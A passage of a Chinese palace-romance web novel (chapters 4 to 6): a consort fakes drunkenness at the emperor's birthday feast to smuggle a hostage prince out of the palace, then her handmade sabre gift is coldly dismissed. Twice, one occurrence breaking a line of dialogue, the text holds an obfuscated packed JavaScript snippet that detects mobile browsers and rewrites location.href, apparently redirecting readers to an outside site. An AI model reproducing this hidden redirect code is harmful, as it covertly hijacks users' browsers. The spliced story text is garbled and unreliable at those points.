禾凛指尖一弹,将残笔掷入木桶,连看也未再看一眼。阿元站在原地,越想越不对劲。他家主子虽然寡言,但待人接物向来有分寸,哪怕当初被贬为质子,对外人也是一贯温和有礼。可这些天,面对那宁宁姑娘,那张脸简直能冻死人。 这天差地别的态度……难不成三爷真的不喜欢女人? 阿元脑中灵光一闪,忽然想起纸篓里飘落的一张宣纸。他低头捡起,一眼瞥见纸上密密麻麻,全是力透纸背的一个字——“宁”。 阿元捧着宣纸,眼神变得异常兴奋,贼兮兮地跑回禾凛身侧:“爷!若您真对宁宁姑娘有意思,不妨留下她也无妨,左不过是一名宫女,少了一个也不会有人察觉。” “胡言乱语。”禾凛脸色黑如浓墨,眼神如刀,“本王再长几岁都能当 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17490873|202217||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 她爹了,本王还没禽兽到饥不食欲的地步。” 阿元却没被吓住,自顾自说道:“可奴才伺候三爷这么多年,还是能看出端倪的。若真不喜欢,您怎会容她近身?奴才可是跟了您三年,才让您允我近身……” 禾凛神色不善,唇角扯出一抹凉薄的弧度,语气冷得令人发寒:“第一年你就把滚烫的茶水泼在本王的腿上,本王没让你当场去见阎王,已是天大的恩典。” “……”阿元笑容瞬间凝固,心底疯狂咆哮:完了,怎么就忘了这茬糗事! * 几日后,丽华宫。 自那夜之后,宁梓韵再未提及波弦宫的事,最多只是遣青芜前去探问有无缺漏,再着人补上。青芜看着主位上端坐如松、持盏浅笑的宁梓韵,心里实在琢磨不透。明明那夜主子神色那样体贴,如今却又彷佛成了陌路。 一月一次的妃嫔请安,是太后蓝渺渺还在后位时立下的例规。宁梓韵身为贵妃,自然要承担起这份礼制,端坐于上,受众人朝拜。 “丽华宫的茶果然是极品。”一道轻佻的女声打破了殿内的宁静。 说话的人,正是如今日头最盛的庆和宫淑妃,李思然。她仗着那副清丽灵动的模样,深得皇上亘安宠爱,这几年在宫中地位稳固。 宁梓韵对她谈不上喜恶,只当是这宫廷博弈中必然存在的对手。 “趁今日众姐妹都在,妹妹正好想问一句:皇上的生辰将至,娘娘准备如何操办?”李思然语气中藏着得意,眼波流转间尽是挑衅。 宁梓韵语气温婉,茶盏轻晃,手腕间玉镯与瓷器相撞,发出一声清响:“既然妹妹有想法,倒不妨说来,让众位一起斟酌。” 李思然眼角微挑,笑意娇俏:“臣妾是想,皇上登基以来向来低调。但今年是第三年,大周以三为尊,不如趁此机会大办一场,彰显国威,也让那些不安分的邻邦收收心。省得那塞外的奏报天天吵得皇上头疼,连带着臣妾的头也快裂了。” 说着,她故作柔弱地拈了拈鬓发:“还好前日皇上赏了臣妾一颗安神玉枕,那梦魇倒是少了不少。” 此言一出,众妃暗中冷笑。谁不知她最爱借头痛与梦魇之名拦走皇上的圣驾? 宁梓韵唇边仍挂着得体的笑意,方欲开口,李思然却又抢道:“娘娘为后宫操持繁琐,定是劳累了。不不如皇上的生辰宴便交给臣妾来办?臣妾伴驾时久,操办这类场面最是熟悉,定不会让皇上失望。” 她眨了眨眼,笑得灿烂:“若娘娘不便向皇上提起,臣妾今晚就自行向皇上请旨了。” 这话说得直白,意在炫耀今晚皇上又要留宿庆和宫。 宁梓韵将盏中茶水饮尽,抬眸笑道:“既如此,那就先谢过妹妹代为操劳了。” 这茶香醇回甘,是极品。但——却不是她最爱的味道。 待众嫔妃退下,殿内回归了寂静。宁梓韵靠在椅背上,眼底浮现出一丝显而易见的倦意。 “娘娘,您就这样……让庆和宫去操办?那可是皇上的生辰啊!”青芜气得杏眼圆睁。 “嗯。”宁梓韵语气淡淡。为了不让那位王爷察觉身分,她近日连蔻丹都洗去了,那圆润白皙的指腹透着粉润,让她自己都有些不习惯。 “可您若不争……便真没机会让皇上正眼看您了。” “本宫知晓。”宁梓韵轻声道,眸中却划过一抹决然。 亘安登基三载,的确值得庆贺。但对她而言,今年的生辰宴,还有更重要的事需要了结。 “娘娘,不如请太后她们提前回宫压场吧?否则那妖狐指不定要闹出什么笑话。”青芜咬牙切齿。 “太后在外游山玩水,难得畅快,何苦让她们为这点琐事回宫?”宁梓韵敬重蓝渺渺,不愿打扰长辈清静。 她语气转缓,目光凝定:“况且——今年的生辰,本宫另有更重要的事交待你去办。” 青芜怔住,刚想追问,便见主子微微一笑,朝她勾了勾手指。那笑意带着三分狡黠,美眸流转,竟让青芜有一瞬的失神。 当耳畔传来那段极轻的细语时,青芜骤然睁大了双眼,神情震惊。 “娘娘……您这是要,大动干戈了啊。” 宁梓韵靠回椅背,望着窗外渐暗的天际,眸光冷若清霜。 做了三年的温顺贵妃,她也该,让那些人见识见识宁家女真正的手段了。 4. 第004章 焰酒别宴 明元三年,大周帝王亘安的生辰。 这一年的生辰宴,其规模之盛、耗费之巨,数十年来无出其右。整座大周皇宫仿佛被浸泡在金色的火海之中,宫檐下挂满了绘有祥龙瑞兽的宫灯,灯火绵延数里,将京城的夜空映照得如同白昼。 这场华宴由淑妃李思然亲自操办,不仅召集了京中所有的文武百官,甚至还广邀了周边诸国的使节。在这场名为祝寿、实为扬威的宴席中,大周的军威与国力被展示到了极致。教坊司的舞姬们身披轻纱,在如雷的鼓声中翩然起舞,美酒的醇香混杂着名贵的沉香,在大殿内沉浮氤氲,令人沉醉。 宁梓韵一袭素色滚雪细纱宫装,静静地坐在席位上。她的面前摆着琳琅满目的山珍海味,可她却一口也未动。她的目光,始终如冰雪般清冷,穿过那层层叠叠、觥筹交错的人影,落在了对面那抹刺眼的鲜红之上。 那是李思然。 今日的淑妃,身着一身缂丝勾金线的深红宫装,笑意盈盈地穿梭在案几之间。那样明艳、那样炽热的衣色,原是大周礼制中唯有皇后或正一品妃位在重大祭典方能触碰的禁色。可今日,李思然却堂而皇之地穿在了身上,甚至在众臣面前,与帝王执手相依。 而上首的亘安,不仅未曾责怪这份逾制,反而微微倾身,亲手为她拨开鬓边的碎发,笑言了一句“好看”。 “呵,好一场明目张胆的恩宠。” 宁梓韵垂下眼帘,唇角微不可察地翘起,笑意却不及眼底。司马昭之心,路人皆知,偏生那位高高在上的帝王,却甘之如饴地沉溺在这温柔乡里。 此时的亘安,眉宇间不复往日的冷厉肃杀。那双曾令满朝文武心惊胆颤、深不可测的眼眸,此刻柔情似水,只为李思然一人流转。宁梓韵看着看着,忽然觉得有些荒谬。 果然,生辰宴还是得由心爱之人亲自操办,方能使他如此欢心。早知如此,自己那些年又何苦强撑着那副贵妃的架子,忍着病痛与流言,殚精竭虑地主持大局?如今想来,那每一份克制、每一份隐忍,倒像是在自取其辱。 她死死地盯着那张熟悉的面容,目光专注而空洞。她对亘安太熟悉了,熟悉到即便闭上双眼,也能在脑海中一笔一划地勾勒出他的轮廓。那是她年少时的一见钟情,是她入宫三载的执念。 只可惜,在那双映满了盛世繁华与美人娇笑的眼瞳中,从未映出过她的身影。 心底泛起一阵细细密密的抽疼,宁梓韵面无表情地举起面前的白玉酒盏,再度一饮而尽。 那是御膳房特制的青梅酒,入口微甜,带着果木的清香,可后劲却是极烈。平日里的宁梓韵,为了保持清醒理智,极少在人前饮酒。可今日,她却一杯接一杯,彷佛要将心底积压了整整三年的酸涩、委屈与悔恨,全部灌进这副残破的皮囊中,借着烈酒,将那些情丝生生封存。 “娘娘,您……您少喝些吧。” 青芜在一旁看得心惊肉跳,她压低声音小声规劝,可宁梓韵手中斟酒的动作却没有丝毫停滞。 青芜看着主子的侧脸,心中百转千回。主子到底是爱着皇上的吧?否则怎会在那样卑微的境地里守了三年?可若说爱,主子如今的神情,却又透着一股子看透生死的冷绝,与那些为了争宠而寻死觅活的妃嫔截然不同。 青芜曾亲耳听过,主子当年入宫是为了皇上,绝非外头传言那般是为了权力或受太后懿旨。她见过主子在无数个深夜里,对着那支金簪独自垂泪,眼底掠过的失落与惘然,那绝非能演出来的。 可眼下的主子,却又清醒得可怕。青芜眨了眨眼,想不明白,索性不再去想。 “嗯,本宫知道自己的酒量。”宁梓韵再次将空杯放下,脸颊上染上了一层薄薄的红晕。她笑着向椅背一靠,身子软绵绵地一歪,几乎要从席位上跌落。 她细腰一折,再度勉力扶回,眼尾已染上三分醉意,眼神也变得迷离起来。她朝身后摆了摆手,语气懒散:“放心,别像个老太监似的碎碎念,吵死了。” “……” 青芜看着主子这副“烂醉如泥”的模样,赶忙上前扶住她的肩膀,连声不敢出,作势要带着主子离席。 “奴婢带您去换身衣裳,醒醒酒。” 宁梓韵的身子大半倚在青芜肩头,酒香四溢。她明眸带笑,歪着脑袋,彷佛醉得不省人事。 若是换作往常,宁贵妃身为后宫之首,怎可能如此失仪地中途离席?可今日,满座宾客的目光都集中在翩翩起舞的淑妃身上,根本无人注意到席位末端的宁梓韵。 唯有对面的李思然,在宁梓韵起身的那一刻,眼中闪过一抹难掩的得意。 “哼,妃位再高又如何?还不是不得皇上宠爱。”李思然看着那抹踉跄远去的素色背影,在心中冷嗤一声,“早就该识相些,将这贵妃之位让出来了。” 她愉悦地将梅酒一饮而尽,唇角的笑意自生辰宴开始便未曾消失过。 而高坐在龙椅上的亘安,今日虽然左右两侧的席位空悬——太后与太上皇远游在外,本应是冷清的。他本打算钦点几位妃嫔陪坐,可当他的眸光随意扫过下方时,却敏锐地察觉到,那个最令他烦躁、最令他厌烦的身影不见了。 原本正与淑妃说笑的帝王,指尖微微一顿,酒盏停在了唇边。 他原本冷峻的面庞上浮现出一抹不悦,眉心轻轻皱起。尚未等他发话,侍立一旁的小李子便收到了眼色,片刻后,一名内侍匆匆上前。 “启禀皇上,贵妃娘娘……醉酒撒泼,已自行回丽华宫去了。听青芜那丫头说,娘娘醉得厉害,恐怕……不会再回宴席了。” 亘安握着酒盏的手指猛地紧扣杯缘,指节处泛起青白。 果然是母后钦点进宫的女人。母后在宫里时,尚且肯装出一副端庄贤良的模样来博他同情;如今母后一不在,她便连这点体面都不要了? “要不要奴才去请贵妃娘娘回席?”内侍小心翼翼地探问。 “随她去。”亘安冷声喝令,猛地将酒饮尽。他的凤眸中寒意凛冽,语气冰冷如石,“爱来便来,不来便滚。这大周的天下,缺了她难道就不转了?与朕何干!” 他挥袖退下内侍,重新将视线落回面前温婉可人的淑妃身上,眼神再次变得如水般柔和。只是,那嘴角尚未散去的僵硬与眼底的一丝焦躁,却无人察觉。 “娘娘,这法子……真的能行吗?” 此时的青芜,正提着裙摆,心跳如雷地跟在一个身着粗布宫女服饰的女子身后。那女子脸色焦黄,显然是抹了易容的药汁,可那一双清澈如水的狐狸眼,不是宁梓韵又是谁? 此时的宁梓韵,哪里还有半点方才宴席上的醉态?她步履矫健,眼神清明得让人心惊。直到此刻,青芜才终于明白,原来主子方才所有的胡言乱语与醉酒失仪,全是一场为了离席而精心策划的戏。 “只要你别总东张西望、满脸心虚,肯定能成。” 宁梓韵淡淡出声,语气中带着一丝若有似无的自嘲。她推着一辆装满了杂物的小车,车上铺着厚厚的茅草。若非凑近了细看,任谁都会以为这不过是内务府趁着宴会忙乱,在清理宫中的废弃物资。 穿过玄武门时,守卫果然如宁梓韵所料,松懈了许多。 今夜为了生辰宴的安保,大半的禁卫军都被调往了前殿和御花园。后宫通往西北角的宫道上,原本森严的岗哨如今只剩下了三三两两的新兵在守着。 宁梓韵原本还担心会被相熟的人认出,却发现自己真的是多虑了。 这皇宫深苑,宫人万千,真正能与她这位贵妃娘娘打照面的人,除了那些高位嫔妃与亘安身边的红人,其他人哪里认得她?在那些守卫眼里,她不过是一个眉目尚算清秀、却皮肤焦黄的辛者库小宫女。 “站住!推的什么?”一名新兵懒洋洋地用长矛挑了挑车上的茅草。 宁梓韵低眉顺眼,腰弯得极低,声音沙哑地应道:“回兵爷的话,是宴席上换下来的破酒瓮和些不新鲜的果子,正要往西北角的垃圾场倒去。” 她不慌不忙地从袖中掏出一枚旧腰牌。那是她前几日私下里用碎铜烂铁在那堆工艺品里摸索出来的,表面斑驳,毫无光泽,看起来像是用了十几年的老物件。 守卫看了一眼腰牌,又看了看宁梓韵那张平平无奇的脸,嫌弃地挥了挥手:“赶紧走!一股子酸腐味,别冲撞了前头的贵人。” 宁梓韵低声称是,推着车快步离开。 青芜在后头跟着,手心全是不住冒出的冷汗。直到转过几条偏僻的巷弄,最终停在京城一处与宫墙仅有一墙之隔的僻静胡同口时,她才敢长长地舒出一口气。 宁梓韵站在胡同的阴影里,对着小车的底座敲了敲。 节奏分明——五下、两下、再三下。 茅草堆下发出一声极轻的摩擦声,一角茅草被掀开,露出一双锐利如鹰的眼。 “三爷,别动。” 宁梓韵低声喝止,她的嗓音依旧如水般温柔,却带着一种不容置疑的力量,“奴婢只能送您到这儿了。车板夹层里有回秦国途中所需的宫牌、信物以及足够的盘缠。祝三爷……一路顺风。”
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17490874|202217||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 车内的禾凛缓缓坐起身。此时的他,早已不复在波弦宫时那种颓废。他穿着一身不起眼的深色常服,指尖捏着宁梓韵塞给他的那迭文书。 他盯着面前这个微微低头、不敢与他对视的女子,胸口涌动着一种从未有过的情绪。 曾几何时,在大周这几年的黑暗时光里,他以为自己早已成了这宫廷斗争下的祭品。却不想,在最后一刻,拉他出深渊的,竟然是这个他一直以为是“小骗子”的贵妃。 “宁宁……”禾凛的嗓音有些沙哑,他动了动嘴唇,原想说些什么,却在看到宁梓韵眼底那抹尚未散去的悲凉时,生生将话咽了回去。 那一日的景象,在他脑海中再次浮现。 那是三天前,宁梓韵再次送炭火入宫。那一日,她并未像往常那样迅速离去,而是挡住了禾凛正欲提笔的手。 “三爷,奴婢有件事想禀。” 禾凛抬眼,看见她紧咬下唇,眼眶里闪烁着一种近乎决绝的迟疑。 “何事?”禾凛那时的语气依旧克制而冷峻。他并非对她无情,而是不敢有情。在这囚笼之中,情分是最致命的毒药。 可宁梓韵却直视着他的双眼,一字一句地说道:“过几日便是皇上的生辰宴。那日,九成禁卫皆会被调往大殿守卫,那将是皇宫三年来防守最弱的时刻。” 禾凛手中笔锋一顿,面上不显异色,却在心中掀起了滔天巨浪。他继续伏案书写,声音冷淡:“所以?” 宁梓韵以为他不明白,又多说了一句:“若三爷真欲离开,那日便是最佳时机。奴婢……可以帮您。” 一旁的阿元当时听得差点跳起来。在得知宁梓韵的计划后,阿元那颗对大周充满怨恨的心,第一次对这个宮女产生了敬意。 可禾凛当时却只是冷冷地放下了笔,用帕子一根根拭净染墨的指尖,盯着宁梓韵问道:“你为什么觉得,本王一定会走?又或者,你凭什么觉得,本王需要你的帮助?” 宁梓韵那时的表情,禾凛一辈子都忘不了。 她先是怔了怔,随即露出一抹自嘲的笑意。那一刻,她眼中的光熄灭了,神情落寞得像是一只被遗弃在暴雨中的小兽。 “三爷本就聪慧,即便没有奴婢,想必也早已安排好了退路。”她低声说着,声音轻得几乎听不见,“是奴婢多此一举了。奴婢只是想着……能亲手护送三爷一程,也算还了当年的那份恩情。” 那一刻,禾凛的心像被什么东西狠狠撞了一下。 他看着她那副强忍委屈、却还要在他面前保持尊严的模样,那些原本准备好的、用来推开她的冰冷话语,终究是一句也吐不出来了。 “本王会走。那日,便拜托姑娘了。” 禾凛的一句话,让原本垂头丧气的宁梓韵瞬间抬起了头,那双狐狸眼里闪烁出的惊喜与神采,竟比那漫天的星光还要璀璨。 “本王只给你一刻钟,若说不清楚你的计谋,本王就当从未听过这话。” 那时的禾凛,虽然依旧绷着脸,可眼底却多了一丝连他自己都未察觉的纵容。 思绪回转,眼前的宁梓韵正轻声催促着:“三爷,快走吧。换岗的时间只有半个时辰,若是迟了……” 禾凛在阿元的搀扶下,缓缓踏出了那辆充满了灰尘的小车。他站在那狭窄的胡同里,回头看了一眼高耸入云、灯火辉煌的宫墙,又看向面前这个纤细的身影。 这大周的皇宫,果然是个肮脏、虚伪、让人喘不过气的地方。他这辈子,都不想再踏入一步。 “宁宁。”禾凛忽然开口。 宁梓韵微怔,抬起头。 禾凛并未发声,只是用唇语无声地说了两个字。 宁梓韵看清了,那是在说——“谢谢”。 她的心漏跳了一拍,随即露出一抹如释重负的笑意,同样无声地回了一句:“三爷,无需客气。” 纤细的身影在那昏暗的胡同尽头渐行渐远,最终融入了无边的夜色之中。 禾凛收回目光,原本温润的气息在一瞬间发生了翻天覆地的变化。那股子杀伐果断、冷冽内敛的战王气息重现,压得身旁的阿元都不敢大声喘息。 “走吧。”禾凛冷冷吩咐,“这些年,多亏了亘安的‘照拂’。本王回秦国后,一定会……好好给他回一份厚礼。” 这大周的盛世,也该换个活法了。 夜风卷起地上的残叶,胡同里空无一人,唯有远处生辰宴上的鼓乐声,依然在夜空中虚幻地回荡着。 这场别宴,终究是有人要清醒着离开。 5. 第005章 封刀藏心 “皇上,轿子就在后头跟着呢,现下更深露重,您不如再等会儿?” 明元三年的深夜,大周皇宫被笼罩在酒色散尽后的荒凉感中。朝阳殿外的长廊上,安景帝亘安步履虚浮,那身玄色金龙缂丝长袍在月色下泛着冷冽的光。他双眼染着酒后的猩红,摇摇晃晃间,险些撞上侧边冰冷的宫墙。 大太监李鹤惊出一身冷汗,一手死死扶着帝王的胳膊,另一手虚张声势地挡在前面,生怕这位主子磕着碰着。他额角的冷汗直冒,顺着鬓角流进领口,湿冷难耐。李鹤心中叫苦不迭,今夜皇上生辰,若是出了半分闪失,他这颗脑袋怕是真不够赔的。 “朕要自己走回去。”亘安极不耐烦地挥开李鹤的手,声音混杂着浓重的梅酒香气,沙哑中带着一股子抹不掉的倦怠与暴躁。 今日的生辰宴由淑妃李思然一手操办,规模之盛、菜肴之美,无一不合帝王心意。在那场如火如荼的欢宴中,亘安抛却了往日的克制,来者不拒。可让李鹤最费解的,还不是主子的酒量,而是皇上醉后那异常暴躁的脾气——自从宴席中途,丽华宫那位贵妃娘娘借故离场后,皇上的耐心便像是被燃尽的蜡烛,只余下烫人的火星。 李鹤想不明白,轿子明明就在后头,皇上偏要折腾他们这群奴才鞍前马后,非要亲自走回朝阳殿。那虚浮的脚步,每一步都踏在李鹤的心尖上,生怕帝王这万金之躯摔出一点乌青。 “皇上,臣妾扶您回殿歇息。” 一声轻唤自后方传来,娇软温婉,似清泉拂面。 李鹤心头一松,回头望去,正是换了一身素雅藕粉色宫装的淑妃李思然。李思然不知何时追了上来,俏脸上带着恰到好处的担忧:”您今日再怎么高兴,也不能喝这么多啊,酒多伤身,臣妾瞧着心都要碎了。” 李鹤心想,皇上一向对淑妃宠爱有加,她说一句话胜过旁人百句,眼下有她出面,总能劝得住。李思然一边温柔地搀扶住亘安的另一侧手臂,一边巧使眼色,让人将轿子悄悄移近。 岂料,亘安却像被什么脏东西碰到一般,猛地一个大力,竟将李思然甩了开去。 “别碰朕!”他怒喝一声,声音在寂静的宫道上激起阵阵回响,”朕说要自己走,你们都聋了吗!” 那语气中的厌恶与厌烦,冷冽得让人不寒而栗。 “皇上……” 李思然怔在原地,原本含着笑的俏脸倏地僵住,唇角泛白,眼眶瞬间红了大半。往日这副梨花带雨的模样一出,亘安必是心疼地将她搂入怀中细哄,可今夜,帝王毫无反应,只冷冷地斜睨了她一眼,那凤眸微瞇,闪过一阵毫不掩饰的狠戾与厌恶。 在那一瞬间,亘安似乎连她是谁都没认出来,又或许,是根本不想认出来。 “李鹤,走,扶朕回去。” 李鹤赶忙低头跟上,不敢多看一眼淑妃那张惨然的小脸。他心中发颤,只觉得帝王心海底针,原来皇上醉成这样,连最宠的淑妃也成了路边的草芥。 淑妃站在原地,看着那抹墨色身影消失在宫墙转角。她眼底那份悲戚在顷刻间收敛得干干净净,恨恨地一甩手,”啪”地一声,重重甩在了一旁随侍宫女的脸上。 “看什么看!本宫的笑话,也是你这贱婢能瞧的?” 李思然气得全身发抖。她为了今晚,特意操办了这场生辰宴,甚至在席后赶紧回去换了这身衣裳,就是想让亘安的视线黏在自己身上。如今倒好,面子丢尽了,连人都没留住。 “娘娘息怒,奴婢知错……”宫女芬儿捂着火辣辣的脸,跪在地上大气都不敢喘。 李思然犹不解气,对着芬儿的肩膀又是狠命踢了几脚,才带着一身怒火拂袖而去。 被留下的芬儿揉着青肿的手臂,眼底闪过一抹猩红。她低下头,掩去那抹浓烈的不甘——淑妃到底是仗着什么得宠?无才无德无背景,除了那张会哄人的嘴,这宫里哪个人不比她强? * 与此同时,宁梓韵已换回了一身月白色的常服,领着青芜缓步朝着朝阳殿的方向前行。 她原是打算回宴席的,却在半路听闻生辰宴早已在一刻钟前便草草结束。 “啊!娘娘,咱们提前离席肯定被发现了,这可怎么办啊!”青芜惊恐万分,两只手不停地抱着脖颈,彷佛下一秒那颗脑袋就要搬家。 宁梓韵挑眉一笑,看着青芜那副如临大敌的模样,语气淡然:”怕什么,今日是他生辰,他高兴还来不及,哪有空管本宫去哪了?” 说罢,她示意青芜捧好怀中的乌木长盒,从容前行。 “娘娘,待会若是皇上生气,您放心,奴婢虽然胆小,但奴婢肯定二话不说挡在您面前!”青芜一脸信誓旦旦。 宁梓韵心中微动,轻声道:”还是青芜待本宫最好,不像皇上……唔。” 话音未落,宁梓韵只觉得鼻尖撞上了一堵结实且温热的肉墙。伴随着浓郁的酒气,一道熟悉到让她指尖发颤的声音自头顶传来—— “朕怎么?率先行离席已是藐视君王之罪,朕还没过问,贵妃便等不及主动上门领罚了?” 宁梓韵僵在原地,缓缓抬头。 不知是不是错觉,她总觉得今日的亘安话比平日多了许多。往常他对她,从不超过两个字:”嗯”、”随你”,或干脆就是死水般的沉默。 烈酒的香气扑鼻而来,混合着他身上特有的龙涎香。宁梓韵垂下眼睫,掩去嘴角那抹苦笑。果然,只有喝醉了,他才愿意多看她一眼,多对她说几句话。 “臣妾……给皇上请安。”宁梓韵低声道,示意青芜递上木盒。 她素手轻抬,”咔哒”一声,精巧的黄铜锁头应声而开。 盒中静静躺着一柄弯刀。刀身纹路繁复,那是秦国特有的铸造手法,刀柄处嵌着一枚血色的红宝石,工艺极致精巧。这是多年前亘安随口提过一句”想要看看”的样式,她竟当真记在了心里,亲自搜罗残卷,亲手修复、雕饰。 宁梓韵那双擅长工艺的巧手,亘安一直都知道。当年他随口一句打发,却没想到这个女人真的耗费了数百个日夜,将这份心意献到了他面前。 “这是臣妾准备的生辰礼,盼皇上喜欢。” 亘安垂眸,月色下,他的手指在那冰冷的刀身上轻轻拂过。眼底那一抹转瞬即逝的惊艳与震动,快得让人抓不住。随即,他猛地将刀扔回盒中,声音重新变得冰冷生硬。 “嗯。李鹤,收进库房。” 他挥了挥手,语气中带着一种近乎刻意的疏离:”这种东西,朕用不上。” 说罢,那抹墨色的身影带着一身酒气远去,连头也没回。 宁梓韵原本那点微薄的期待,随之烟消云散。她看着那被李鹤捧走的木盒,笑容如晚雪凋零。 “娘娘,皇上他喝醉了,若是没醉肯定……”青芜急得眼眶泛红。 “本宫清楚自己的位置,你用不着安慰我。”宁梓韵语调温和,却冷得彻底,”反正也没期待他喜欢,至少……他收下了,不是吗?” 青芜心头一酸。这把刀,主子耗费了多少心血?为了赶工,主子日日熬夜雕刻,指尖磨出了厚茧,手上至今还有没好全的小伤痕。 当初请人找到这把样式古怪的弯刀,费了多大的力气,青芜是最清楚的。弯刀送来时纹路残破,若非主子一笔一刀刻回去,如今哪能送得出手? 如今一句”朕用不 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他一手覆在额头上,另一手有一下没一下地敲击着床沿。脑海中浮现的,全是宁梓韵刚才撞进他怀里时,那一双藏着痛楚却强作坚强的眼。 敲打声戛然而止。 “愚蠢。” 他低声咒骂了一句,却压不下心口那点不安分的悸动。 真是个愚蠢至极的女人。 随便一两句玩笑般的戏言,她竟然记了这么多年。当初他叮嘱过她,不准入宫,不准踏进这潭浑水,怎么就没见她这般听话? ——虚伪,蠢笨。 亘安翻来覆去难眠,最终还是翻身下榻,随手披了一件斗篷,独自一人往那处偏僻的库房走去。 库房守夜的小太监正犯着困,冷不丁见到帝王驾临,吓得整个人打了个哆嗦:”皇、皇上?这库房里灯火不及外头,尘土又重,您要找什么跟奴才说一声就是……” 亘安面无表情地摆摆手,示意他退下。 他走进这间阴冷潮湿的屋子,在层层迭迭的杂物堆里,没走几步便见到了那个熟悉的乌木盒子。 昏黄的提灯火光下,亘安再次打开盒盖。 那柄弯刀安静地躺在锦帛上。他方才酒醉时未曾细看,此刻借着火光,才发现盒盖的角落隐秘处,竟亲手刻着一朵小巧的芍药。 那是她的标志,象征着这件器物是经她手亲自打造,倾注了她的巧思。 亘安指尖轻颤,看着那朵芍药,神情一时间有些恍惚。 他彷佛又看见了那年芍药花海中,那少女穿着红裙,一笑灿烂,恣意明媚地朝他跑来。 可惜—— 那场大火以后,一切都变了。 宁梓韵变了性子,不再爱笑,即便笑起来,也不像从前那般真心实意,总是带着一层疏离的假面。 他看着那柄弯刀,眼神复杂莫测。他知道这把刀背后代表着什么,他也知道宁梓韵为了这把刀可能动用了什么样的人脉。 “宁梓韵,你到底是想让朕……如何待你?” 他在黑暗中轻声低喃,语气里透着一种连他自己都未察觉的迷茫与挣扎。 他握紧刀柄,感受着金属传来的沁冷,那冷意顺着指尖一路蔓延到心底。他终究是没有将刀带走,而是重新盖好盒子,任由它继续留在这暗无天日的库房中。 就像他将自己对她的那点心思,也一并深埋在了这深宫的最底层。 这场生辰宴,终究是在每个人的各怀心思中,落下了帷幕。 6. 第006章 镜湖照影 “哎哎,你听说了吗?” 每日清晨,当第一缕熹微的晨光还未完全穿透宫墙上空的薄雾,大周皇宫各处的洒扫宫人便开始了忙碌。此时,正是这深宫内苑中传闻流布得最快的时候。那些闲不住的宫女太监们,一边挥动着手中的竹帚,一边交头接耳,用只有彼此能听见的低声细语交换着最新的宫闱秘辛。 “说什么呀?前些日子办生辰宴,我这把老骨头都差点散了架。本以为能沾点喜气,结果累得半死,幸好这一载才一回,不然我这条小命非得折在那儿不可。”一名打着哈欠的老太监有气无力地抱怨着,一边揉着酸痛的腰。 身旁的宫女左右瞧了瞧,确定没有领头的管事经过,一巴掌拍在他背上,啐道:”得了吧,我还不知道你?每次派活儿你都躲得最快。说正经的,那日生辰宴上,丽华宫那位……可真是丢了大脸了。” 随着她绘声绘影地描述,那太监听得目瞪口呆,半晌才像是早有预感般点点头,叹道:”其实贵妃娘娘模样生得极标致,那双狐狸眼清亮得紧,怎的总是不讨圣上喜欢?真是奇了怪了。” “这有什么好奇怪的?听说她亲手准备了一柄耗时数月修复打造的弯刀当生辰礼,结果皇上连看都没仔细看一眼,当场就让李鹤公公给扔进杂物库房里积灰了。换做是别人,恐怕当场就得哭死过去,真真是好惨的一位美人。” 宫女冷哼一声,语气中带着几分刻薄的不屑,”仗着太后娘娘在后头撑腰就能肆意妄为吗?这宫里从来都是见新人笑,哪管旧人哭。庆和宫那位,那才是皇上心尖尖上的人。” 老太监被她这番言论吓得不轻,连忙伸手捂住她的嘴,低声斥道:”你疯啦!主子们的事,岂是咱们这些当奴才的能乱嚼舌根的?小心你的脑袋!” “怕什么?我这些消息可是从庆和宫那边得来的。再说了,皇上宠谁贬谁,那是满宫里都瞧得见的,出了事也牵扯不到咱身上。” 待二人嬉闹着走远,周围那些看似专心干活的宫人们,实则个个都是人精。他们交换个眼色,这流言便如长了翅膀一般,悄悄传遍了宫廷的每一个角落。 不出三日,整个大周皇宫皆知:丽华宫那位贵妃苦心修复的生辰礼,在皇上眼里不过是堆废铁。 御花园西侧,邻近千镜湖畔,有一座宫殿凌空而立,唤作”芙蓉阁”。 说来有趣,当年此地本是一片荒芜。尚在后位的太后蓝渺渺曾随口对太上皇提过一句:”此地视野极佳,若是无楼阁可供远眺,未免可惜。”太上皇亘泽为博红颜一笑,竟真的加派了数千工匠连夜赶工,于是这宏伟的芙蓉阁拔地而起。 太上皇对太后的那份情意,即便是隔了数十年,依旧镌刻在每一块青砖与雕梁画柱之间。 宁梓韵踏入芙蓉阁的次数屈指可数。每一次来,她仍会被这里那种大气而不失细腻的风格所惊艳。她惊艳的并非金漆彩绘,而是这份”一世一双人”的执着,那是她在这座冰冷宫殿里,唯一心动却又不敢奢望的东西。 “娘娘,这芙蓉阁实在是太美了。不仅开阔,连这风里都带着莲香。相较之下,那堆满珠宝古玩、俗气熏天的庆和宫,根本连这里的一块砖头都比不上。”青芜是个心直口快的性子,感慨之余还不忘踩上对头一脚。随即她意识到失言,忙低头作势要跪下,却被宁梓韵伸手一把扶起。 “无妨,本宫知你是个无心的。”宁梓韵的眸色中带着几分揶揄,”虽然想训你几句,但这些年你这些毛躁性子也未曾真听进去,便也罢了。今日这里没外人,你那膝盖就省着点用吧。” 青芜这才放下心来,拍了拍胸口,还不忘补上一句:”奴婢也没说错嘛。太上皇待太后那才叫真宠,为了太后连六宫都虚设了,这才是顶天立地的真情。哪像庆和宫那位,整日里装模作样,若她真有本事,怎的至今连凤仪宫的大门都跨不进去?” 